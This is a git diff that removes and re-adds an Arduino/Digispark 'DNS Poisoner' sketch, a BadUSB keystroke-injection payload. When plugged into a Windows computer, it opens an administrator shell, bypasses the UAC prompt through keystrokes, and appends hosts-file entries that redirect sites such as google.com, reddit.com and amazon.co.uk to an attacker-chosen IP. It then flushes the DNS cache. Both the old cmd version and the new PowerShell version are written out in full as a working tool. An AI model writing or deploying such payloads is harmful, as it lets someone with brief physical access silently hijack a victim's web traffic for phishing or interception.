diff --git a/DNS Poisoner/DNS_Poisoner.ino b/DNS Poisoner/DNS_Poisoner.ino deleted file mode 100644 index 9efa117..0000000 --- a/DNS Poisoner/DNS_Poisoner.ino +++ /dev/null @@ -1,25 +0,0 @@ -#include "DigiKeyboard.h" -void setup() { -} - -void loop() { - DigiKeyboard.sendKeyStroke(0); - //This opens an administrator command prompt - DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); - DigiKeyboard.sendKeyStroke(KEY_A); - DigiKeyboard.delay(500); - DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); - DigiKeyboard.delay(500); - //Adds the set websites & ips to the hosts file in windows, currently all redirect to dell - DigiKeyboard.println("ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 www.reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 www.amazon.co.uk >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); - DigiKeyboard.println("ECHO 143.166.83.38 amazon.co.uk >> C:/SYSTEM32/DRIVERS/ETC/HOSTS"); - //clears dns cache - DigiKeyboard.println("ipconfig /flushdns"); - //exits the terminal - DigiKeyboard.println("exit"); - for(;;){ /*empty*/ } -} diff --git a/DNS_Poisoner/DNS_Poisoner.ino b/DNS_Poisoner/DNS_Poisoner.ino new file mode 100644 index 0000000..91c26ca --- /dev/null +++ b/DNS_Poisoner/DNS_Poisoner.ino @@ -0,0 +1,31 @@ +/* + + +TESTED ON WINDOWS 11 + + +[IP ADDRESS] -> ip addres you want redirect to +[HOST NAME] -> domain you want to change +*/ +#include "DigiKeyboard.h" +void setup() {} +void loop() { + //open admin powershell + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("powershell"); + DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.println("Add-Content C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS \"`n[IP ADDRESS][HOST NAME]\""); + //flush dns cache + DigiKeyboard.println("ipconfig /flushdns"); + //exits the terminal + DigiKeyboard.println("exit"); + for(;;){ /*empty*/ } +}